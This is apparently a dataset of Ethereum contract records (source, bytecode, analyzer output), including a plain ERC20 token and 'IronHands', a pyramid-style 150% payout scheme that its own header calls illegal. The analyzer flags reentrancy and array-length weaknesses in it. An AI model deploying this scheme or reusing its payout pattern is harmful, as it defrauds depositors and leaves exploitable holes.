152602001806120676025913960400191505060405180910390fd5b6001600160a01b0382166116c25760405162461bcd60e51b8152600401808060200182810382526023815260200180611f406023913960400191505060405180910390fd5b600081116117015760405162461bcd60e51b815260040180806020018281038252602981526020018061203e6029913960400191505060405180910390fd5b6001600160a01b03831660009081526004602052604090205460ff16801561174257506001600160a01b03821660009081526004602052604090205460ff16155b1561175757611752838383611ade565b611855565b6001600160a01b03831660009081526004602052604090205460ff1615801561179857506001600160a01b03821660009081526004602052604090205460ff165b156117a857611752838383611c03565b6001600160a01b03831660009081526004602052604090205460ff161580156117ea57506001600160a01b03821660009081526004602052604090205460ff16155b156117fa57611752838383611cac565b6001600160a01b03831660009081526004602052604090205460ff16801561183a57506001600160a01b03821660009081526004602052604090205460ff165b1561184a57611752838383611cf0565b611855838383611cac565b505050565b600081848411156118e95760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156118ae578181015183820152602001611896565b50505050905090810190601f1680156118db5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b60008060006118fe611d63565b909250905061190d8282611413565b9250505090565b6001600160a01b03841660009081526001602052604090205461193790836114af565b6001600160a01b0380861660009081526001602052604080822093909355908516815220546119669083611455565b6001600160a01b0380851660008181526001602090815260409182902094909455805185815290519193928816927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a350505050565b60008183611a125760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156118ae578181015183820152602001611896565b506000838581611a1e57fe5b0495945050505050565b600080600080611a496103e8610a44600954886113b390919063ffffffff16565b90506000611a686103e8610a44600a54896113b390919063ffffffff16565b90506000611a8082611a7a89866114af565b906114af565b979296509094509092505050565b6000808080611a9d88876113b3565b90506000611aab88886113b3565b90506000611ab987896113b3565b90506000611acb82611a7a86866114af565b939b939a50919850919650505050505050565b600080600080600080611af0876114f5565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611b2290886114af565b6001600160a01b038a16600090815260026020908152604080832093909355600190522054611b5190876114af565b6001600160a01b03808b1660009081526001602052604080822093909355908a1681522054611b809086611455565b6001600160a01b038916600090815260016020526040902055611ba38982611ec6565b611bad8483611f1b565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080611c15876114f5565b6001600160a01b038f16600090815260016020526040902054959b50939950919750955093509150611c4790876114af565b6001600160a01b03808b16600090815260016020908152604080832094909455918b16815260029091522054611c7d9084611455565b6001600160a01b038916600090815260026020908152604080832093909355600190522054611b809086611455565b600080600080600080611cbe876114f5565b6001600160a01b038f16600090815260016020526040902054959b50939950919750955093509150611b5190876114af565b600080600080600080611d02876114f5565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611d3490886114af565b6001600160a01b038a16600090815260026020908152604080832093909355600190522054611c4790876114af565b6007546006546000918291825b600554811015611e9457826001600060058481548110611d8c57fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020541180611df15750816002600060058481548110611dca57fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b15611e085760075460065494509450505050611ec2565b611e486001600060058481548110611e1c57fe5b60009182526020808320909101546001600160a01b0316835282019290925260400190205484906114af565b9250611e8a6002600060058481548110611e5e57fe5b60009182526020808320909101546001600160a01b0316835282019290925260400190205483906114af565b9150600101611d70565b50600654600754611ea491611413565b821015611ebc57600754600654935093505050611ec2565b90925090505b9091565b600654611ed390826114af565b6006556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b600754611f2890836114af565b600755600854611f389082611455565b600855505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573734578636c75646564206164647265737365732063616e6e6f742063616c6c20746869732066756e6374696f6e45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212209e84cf10b7b09b4f448942105c0c504721a2b8809a06f313827544213c71f83b64736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 679 |
0x3f2b6f7bb194fb64c211464ce463978d750e2873 | /**
*Submitted for verification at Etherscan.io on 2021-04-21
*/
// SPDX-License-Identifier: MIT
pragma solidity =0.8.3;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract DogeShit is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor () {
_totalSupply = 10 ** 33;
_name = "LuckyDogeShit.com";
_symbol = "DogeShit";
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
} | 0x608060405234801561001057600080fd5b50600436106100935760003560e01c8063313ce56711610066578063313ce567146100fe57806370a082311461010d57806395d89b4114610120578063a9059cbb14610128578063dd62ed3e1461013b57610093565b806306fdde0314610098578063095ea7b3146100b657806318160ddd146100d957806323b872dd146100eb575b600080fd5b6100a0610174565b6040516100ad91906106d7565b60405180910390f35b6100c96100c43660046106ae565b610206565b60405190151581526020016100ad565b6002545b6040519081526020016100ad565b6100c96100f9366004610673565b61021c565b604051601281526020016100ad565b6100dd61011b366004610620565b6102d2565b6100a06102f1565b6100c96101363660046106ae565b610300565b6100dd610149366004610641565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b60606003805461018390610759565b80601f01602080910402602001604051908101604052809291908181526020018280546101af90610759565b80156101fc5780601f106101d1576101008083540402835291602001916101fc565b820191906000526020600020905b8154815290600101906020018083116101df57829003601f168201915b5050505050905090565b600061021333848461030d565b50600192915050565b6000610229848484610431565b6001600160a01b0384166000908152600160209081526040808320338452909152902054828110156102b35760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6102c785336102c28685610742565b61030d565b506001949350505050565b6001600160a01b0381166000908152602081905260409020545b919050565b60606004805461018390610759565b6000610213338484610431565b6001600160a01b03831661036f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016102aa565b6001600160a01b0382166103d05760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016102aa565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166104955760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016102aa565b6001600160a01b0382166104f75760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016102aa565b6001600160a01b0383166000908152602081905260409020548181101561056f5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016102aa565b6105798282610742565b6001600160a01b0380861660009081526020819052604080822093909355908516815290812080548492906105af90849061072a565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516105fb91815260200190565b60405180910390a350505050565b80356001600160a01b03811681146102ec57600080fd5b600060208284031215610631578081fd5b61063a82610609565b9392505050565b60008060408385031215610653578081fd5b61065c83610609565b915061066a60208401610609565b90509250929050565b600080600060608486031215610687578081fd5b61069084610609565b925061069e60208501610609565b9150604084013590509250925092565b600080604083850312156106c0578182fd5b6106c983610609565b946020939093013593505050565b6000602080835283518082850152825b81811015610703578581018301518582016040015282016106e7565b818111156107145783604083870101525b50601f01601f1916929092016040019392505050565b6000821982111561073d5761073d610794565b500190565b60008282101561075457610754610794565b500390565b600181811c9082168061076d57607f821691505b6020821081141561078e57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea2646970667358221220e0e7d64dd1e0936aba9bf2bd36222e8196a18f12e7998bbf70b7bed3dd1f01d664736f6c63430008030033 | {"success": true, "error": null, "results": {}} | 680 |
0x099764910a38190bbd317857e635e6f461b11119 | pragma solidity ^0.4.21;
/**
*
* _ ____ ___ _ _ _ _ _
* (_) (_) \/ | | | | (_) | (_)
* _ __ ___ _ _ __ _| . . |_ _| | |_ _ _ __ | |_ ___ _ __
* | '_ ` _ \| | '_ \| | |\/| | | | | | __| | '_ \| | |/ _ \ '__|
* | | | | | | | | | | | | | | |_| | | |_| | |_) | | | __/ |
* |_| |_| |_|_|_| |_|_\_| |_/\__,_|_|\__|_| .__/|_|_|\___|_|
* | |
* |_|
* - 150% return, 0.005 ETH max deposit
* - Code from BoomerangLiquidyFund: https://gist.github.com/TSavo/2401671fbfdb6ac384a556914934c64f
* - Original BLF Doubler contract: 0xE58b65d1c0C8e8b2a0e3A3AcEC633271531084ED
*
* - Why? So the chain moves fast and you have some funny shit to buy when you're watching charts all day
* - Plus it provides micro volume to P3D so the contract balance isn't stagnant for long periods
*
* - In addition, if this contract ever gains a good amount of P3D tokens it will very easily 1.5x people's 0.005 ETH :)
*
*
* ATTENTION!
*
* This code? IS NOT DESIGNED FOR ACTUAL USE.
*
* The author of this code really wishes you wouldn't send your ETH to it.
*
* No, seriously. It's probablly illegal anyway. So don't do it.
*
* Let me repeat that: Don't actually send money to this contract. You are
* likely breaking several local and national laws in doing so.
*
* This code is intended to educate. Nothing else. If you use it, expect S.W.A.T
* teams at your door. I wrote this code because I wanted to experiment
* with smart contracts, and I think code should be open source. So consider
* it public domain, No Rights Reserved. Participating in pyramid schemes
* is genuinely illegal so just don't even think about going beyond
* reading the code and understanding how it works.
*
* Seriously. I'm not kidding. It's probablly broken in some critical way anyway
* and will suck all your money out your wallet, install a virus on your computer
* sleep with your wife, kidnap your children and sell them into slavery,
* make you forget to file your taxes, and give you cancer.
*
* So.... tl;dr: This contract sucks, don't send money to it.
*
* What it does:
*
* It takes 50% of the ETH in it and buys tokens.
* It takes 50% of the ETH in it and pays back depositors.
* Depositors get in line and are paid out in order of deposit, plus the deposit
* percent.
* The tokens collect dividends, which in turn pay into the payout pool
* to be split 50/50.
*
* If your seeing this contract in it's initial configuration, it should be
* set to 200% (double deposits), and pointed at PoWH:
* 0xB3775fB83F7D12A36E0475aBdD1FCA35c091efBe
*
* But you should verify this for yourself.
*
*
*/
contract ERC20Interface {
function transfer(address to, uint256 tokens) public returns (bool success);
}
contract POWH {
function buy(address) public payable returns(uint256);
function withdraw() public;
function myTokens() public view returns(uint256);
function myDividends(bool) public view returns(uint256);
}
contract Owned {
address public owner;
address public ownerCandidate;
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function changeOwner(address _newOwner) public onlyOwner {
ownerCandidate = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == ownerCandidate);
owner = ownerCandidate;
}
}
contract IronHands is Owned {
/**
* Modifiers
*/
/**
* Only owners are allowed.
*/
modifier onlyOwner(){
require(msg.sender == owner);
_;
}
/**
* The tokens can never be stolen.
*/
modifier notPowh(address aContract){
require(aContract != address(weak_hands));
_;
}
/**
* Events
*/
event Deposit(uint256 amount, address depositer);
event Purchase(uint256 amountSpent, uint256 tokensReceived);
event Payout(uint256 amount, address creditor);
event Dividends(uint256 amount);
event Donation(uint256 amount, address donator);
event ContinuityBreak(uint256 position, address skipped, uint256 amount);
event ContinuityAppeal(uint256 oldPosition, uint256 newPosition, address appealer);
/**
* Structs
*/
struct Participant {
address etherAddress;
uint256 payout;
}
//Total ETH managed over the lifetime of the contract
uint256 throughput;
//Total ETH received from dividends
uint256 dividends;
//The percent to return to depositers. 100 for 00%, 200 to double, etc.
uint256 public multiplier;
//Where in the line we are with creditors
uint256 public payoutOrder = 0;
//How much is owed to people
uint256 public backlog = 0;
//The creditor line
Participant[] public participants;
//How much each person is owed
mapping(address => uint256) public creditRemaining;
//What we will be buying
POWH weak_hands;
/**
* Constructor
*/
function IronHands(uint multiplierPercent, address powh) public {
multiplier = multiplierPercent;
weak_hands = POWH(powh);
}
/**
* Fallback function allows anyone to send money for the cost of gas which
* goes into the pool. Used by withdraw/dividend payouts so it has to be cheap.
*/
function() payable public {
}
/**
* Deposit ETH to get in line to be credited back the multiplier as a percent,
* add that ETH to the pool, get the dividends and put them in the pool,
* then pay out who we owe and buy more tokens.
*/
function deposit() payable public {
//You have to send more than 1000000 wei and <= 0.005 ETH
require(msg.value > 1000000 && msg.value <= 5000000000000000);
//Compute how much to pay them
uint256 amountCredited = (msg.value * multiplier) / 100;
//Get in line to be paid back.
participants.push(Participant(msg.sender, amountCredited));
//Increase the backlog by the amount owed
backlog += amountCredited;
//Increase the amount owed to this address
creditRemaining[msg.sender] += amountCredited;
//Emit a deposit event.
emit Deposit(msg.value, msg.sender);
//If I have dividends
if(myDividends() > 0){
//Withdraw dividends
withdraw();
}
//Pay people out and buy more tokens.
payout();
}
/**
* Take 50% of the money and spend it on tokens, which will pay dividends later.
* Take the other 50%, and use it to pay off depositors.
*/
function payout() public {
//Take everything in the pool
uint balance = address(this).balance;
//It needs to be something worth splitting up
require(balance > 1);
//Increase our total throughput
throughput += balance;
//Split it into two parts
uint investment = balance / 2;
//Take away the amount we are investing from the amount to send
balance -= investment;
//Invest it in more tokens.
uint256 tokens = weak_hands.buy.value(investment).gas(1000000)(msg.sender);
//Record that tokens were purchased
emit Purchase(investment, tokens);
//While we still have money to send
while (balance > 0) {
//Either pay them what they are owed or however much we have, whichever is lower.
uint payoutToSend = balance < participants[payoutOrder].payout ? balance : participants[payoutOrder].payout;
//if we have something to pay them
if(payoutToSend > 0){
//subtract how much we've spent
balance -= payoutToSend;
//subtract the amount paid from the amount owed
backlog -= payoutToSend;
//subtract the amount remaining they are owed
creditRemaining[participants[payoutOrder].etherAddress] -= payoutToSend;
//credit their account the amount they are being paid
participants[payoutOrder].payout -= payoutToSend;
//Try and pay them, making best effort. But if we fail? Run out of gas? That's not our problem any more.
if(participants[payoutOrder].etherAddress.call.value(payoutToSend).gas(1000000)()){
//Record that they were paid
emit Payout(payoutToSend, participants[payoutOrder].etherAddress);
}else{
//undo the accounting, they are being skipped because they are not payable.
balance += payoutToSend;
backlog += payoutToSend;
creditRemaining[participants[payoutOrder].etherAddress] += payoutToSend;
participants[payoutOrder].payout += payoutToSend;
}
}
//If we still have balance left over
if(balance > 0){
// go to the next person in line
payoutOrder += 1;
}
//If we've run out of people to pay, stop
if(payoutOrder >= participants.length){
return;
}
}
}
/**
* Number of tokens the contract owns.
*/
function myTokens() public view returns(uint256){
return weak_hands.myTokens();
}
/**
* Number of dividends owed to the contract.
*/
function myDividends() public view returns(uint256){
return weak_hands.myDividends(true);
}
/**
* Number of dividends received by the contract.
*/
function totalDividends() public view returns(uint256){
return dividends;
}
/**
* Request dividends be paid out and added to the pool.
*/
function withdraw() public {
uint256 balance = address(this).balance;
weak_hands.withdraw.gas(1000000)();
uint256 dividendsPaid = address(this).balance - balance;
dividends += dividendsPaid;
emit Dividends(dividendsPaid);
}
/**
* A charitible contribution will be added to the pool.
*/
function donate() payable public {
emit Donation(msg.value, msg.sender);
}
/**
* Number of participants who are still owed.
*/
function backlogLength() public view returns (uint256){
return participants.length - payoutOrder;
}
/**
* Total amount still owed in credit to depositors.
*/
function backlogAmount() public view returns (uint256){
return backlog;
}
/**
* Total number of deposits in the lifetime of the contract.
*/
function totalParticipants() public view returns (uint256){
return participants.length;
}
/**
* Total amount of ETH that the contract has delt with so far.
*/
function totalSpent() public view returns (uint256){
return throughput;
}
/**
* Amount still owed to an individual address
*/
function amountOwed(address anAddress) public view returns (uint256) {
return creditRemaining[anAddress];
}
/**
* Amount owed to this person.
*/
function amountIAmOwed() public view returns (uint256){
return amountOwed(msg.sender);
}
/**
* A trap door for when someone sends tokens other than the intended ones so the overseers can decide where to send them.
*/
function transferAnyERC20Token(address tokenAddress, address tokenOwner, uint tokens) public onlyOwner notPowh(tokenAddress) returns (bool success) {
return ERC20Interface(tokenAddress).transfer(tokenOwner, tokens);
}
} | 0x6080604052600436106101325763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630a44b9cf81146101345780631b3ed7221461015b5780633151ecfc1461017057806335c1d3491461018557806339af0513146101c05780633ccfd60b146101d55780633febb070146101ea5780635f504a82146101ff57806363bd1d4a146102305780636cff6f9d1461024557806379ba50971461025a5780638da5cb5b1461026f578063949e8acd14610284578063997664d714610299578063a0ca0a57146102ae578063a26dbf26146102c3578063a6f9dae1146102d8578063d0e30db0146102f9578063d493b9ac14610301578063e5cf22971461033f578063ed88c68e14610360578063fb346eab14610368578063ff5d18ca1461037d575b005b34801561014057600080fd5b5061014961039e565b60408051918252519081900360200190f35b34801561016757600080fd5b506101496103ae565b34801561017c57600080fd5b506101496103b4565b34801561019157600080fd5b5061019d60043561044b565b60408051600160a060020a03909316835260208301919091528051918290030190f35b3480156101cc57600080fd5b50610149610481565b3480156101e157600080fd5b50610132610487565b3480156101f657600080fd5b5061014961055c565b34801561020b57600080fd5b50610214610562565b60408051600160a060020a039092168252519081900360200190f35b34801561023c57600080fd5b50610132610571565b34801561025157600080fd5b506101496108cf565b34801561026657600080fd5b506101326108d5565b34801561027b57600080fd5b50610214610921565b34801561029057600080fd5b50610149610930565b3480156102a557600080fd5b5061014961098f565b3480156102ba57600080fd5b50610149610995565b3480156102cf57600080fd5b5061014961099f565b3480156102e457600080fd5b50610132600160a060020a03600435166109a5565b6101326109ef565b34801561030d57600080fd5b5061032b600160a060020a0360043581169060243516604435610b3a565b604080519115158252519081900360200190f35b34801561034b57600080fd5b50610149600160a060020a0360043516610c24565b610132610c3f565b34801561037457600080fd5b50610149610c84565b34801561038957600080fd5b50610149600160a060020a0360043516610c8a565b60006103a933610c24565b905090565b60045481565b600954604080517f688abbf7000000000000000000000000000000000000000000000000000000008152600160048201529051600092600160a060020a03169163688abbf791602480830192602092919082900301818787803b15801561041a57600080fd5b505af115801561042e573d6000803e3d6000fd5b505050506040513d602081101561044457600080fd5b5051905090565b600780548290811061045957fe5b600091825260209091206002909102018054600190910154600160a060020a03909116915082565b60065481565b600954604080517f3ccfd60b0000000000000000000000000000000000000000000000000000000081529051600160a060020a033081163193600093911691633ccfd60b91620f4240916004808301928792919082900301818388803b1580156104f057600080fd5b5087f1158015610504573d6000803e3d6000fd5b505060038054600160a060020a033016318790039081019091556040805182815290519195507fd7cefab74b4b11d01e168f9d1e2a28e7bf8263c3acf9b9fdb802fa666a49455b945081900360200192509050a15050565b60065490565b600154600160a060020a031681565b600160a060020a03301631600080806001841161058d57600080fd5b600280548501815584600954604080517ff088d547000000000000000000000000000000000000000000000000000000008152600160a060020a03338116600483015291519490930497889003979650169163f088d54791620f424091879160248082019260209290919082900301818589803b15801561060d57600080fd5b5088f1158015610621573d6000803e3d6000fd5b5050505050506040513d602081101561063957600080fd5b5051604080518581526020810183905281519294507f350df6fcc944b226b77efc36902e19b43c566d75173622086e809d46dfbc2220929081900390910190a15b60008411156108c957600760055481548110151561069457fe5b90600052602060002090600202016001015484106106d45760076005548154811015156106bd57fe5b9060005260206000209060020201600101546106d6565b835b905060008111156108a1576006805482900390556005546007805495839003958392600892600092909190811061070957fe5b60009182526020808320600290920290910154600160a060020a031683528201929092526040019020805491909103905560055460078054839290811061074c57fe5b906000526020600020906002020160010160008282540392505081905550600760055481548110151561077b57fe5b60009182526020822060029091020154604051600160a060020a0390911691620f4240918491818181858888f193505050501561081e577f9b5d1a613fa5f0790b36b13103706e31fca06b229d87e9915b29fc20c1d764908160076005548154811015156107e557fe5b60009182526020918290206002909102015460408051938452600160a060020a03909116918301919091528051918290030190a16108a1565b600680548201905560055460078054958301958392600892600092909190811061084457fe5b60009182526020808320600290920290910154600160a060020a0316835282019290925260400190208054909101905560055460078054839290811061088657fe5b60009182526020909120600160029092020101805490910190555b60008411156108b4576005805460010190555b600754600554106108c4576108c9565b61067a565b50505050565b60055481565b60015433600160a060020a039081169116146108f057600080fd5b6001546000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03909216919091179055565b600054600160a060020a031681565b600954604080517f949e8acd0000000000000000000000000000000000000000000000000000000081529051600092600160a060020a03169163949e8acd91600480830192602092919082900301818787803b15801561041a57600080fd5b60035490565b6005546007540390565b60075490565b60005433600160a060020a039081169116146109c057600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6000620f424034118015610a0a57506611c37937e080003411155b1515610a1557600080fd5b600454606490340260408051808201825233600160a060020a0390811680835294909304602080830182815260078054600181018255600091825294517fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c6886002909602958601805473ffffffffffffffffffffffffffffffffffffffff19169190981617909655517fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c689909301929092556006805482019055848452600882529282902080548401905581513481529081019390935280519193507f4bcc17093cdf51079c755de089be5a85e70fa374ec656c194480fbdcda224a53928290030190a16000610b216103b4565b1115610b2f57610b2f610487565b610b37610571565b50565b6000805433600160a060020a03908116911614610b5657600080fd5b6009548490600160a060020a0380831691161415610b7357600080fd5b84600160a060020a031663a9059cbb85856040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050602060405180830381600087803b158015610bef57600080fd5b505af1158015610c03573d6000803e3d6000fd5b505050506040513d6020811015610c1957600080fd5b505195945050505050565b600160a060020a031660009081526008602052604090205490565b60408051348152600160a060020a033316602082015281517f82add2011d2b1a1fad8fc5ffd954181c064e8f5198c9fcd5caa9749911ed18b9929181900390910190a1565b60025490565b600860205260009081526040902054815600a165627a7a723058207efea0032cb54e52a210f9aa0fce7bf1fcbccca65868bc1e97714e68172f1f6a0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}} | 681 |
0xb16a3a65d3524826ce01fdf1496d17a481d877ea | //TG > https://t.me/chichiinu
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
